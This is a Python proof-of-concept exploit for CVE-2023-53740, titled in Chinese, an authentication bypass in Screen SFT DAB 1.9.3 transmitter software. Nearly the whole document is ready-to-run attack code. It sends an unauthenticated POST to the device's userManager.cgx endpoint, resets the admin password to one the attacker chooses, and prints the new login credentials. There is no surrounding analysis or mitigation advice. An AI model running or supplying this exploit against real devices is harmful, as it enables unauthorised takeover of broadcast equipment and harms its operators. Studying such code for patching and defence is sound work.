CVE-2023-53740 Screen SFT DAB 1.9.3 管理员密码修改认证绕过漏洞

import requests import hashlib import json # CVE-2023-53740 PoC - Screen SFT DAB Authentication Bypass # Target: Screen SFT DAB 1.9.3 userManager.cgx endpoint def generate_md5_hash(password): """Generate MD5 hash of the password""" return hashlib.md5(password.encode()).hexdigest() def exploit(target_ip, new_password): """ Exploit the authentication bypass vulnerability to change admin password without knowing current password """ target_url = f"http://{target_ip}/userManager.cgx" # Generate MD5 hash of new password new_password_md5 = generate_md5_hash(new_password) # Construct malicious JSON payload payload = { "username": "admin", "newPassword": new_password_md5, "action": "changePassword" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } try: # Send the crafted request without authentication response = requests.post( target_url, json=payload, headers=headers, timeout=10 ) print(f"[*] Target: {target_ip}") print(f"[*] New Password: {new_password}") print(f"[*] MD5 Hash: {new_password_md5}") print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] Password changed successfully!") print("[+] You can now login with username: admin, password: " + new_password) return True else: print("[-] Exploitation failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <target_ip> <new_password>") sys.exit(1) target = sys.argv[1] password = sys.argv[2] exploit(target, password)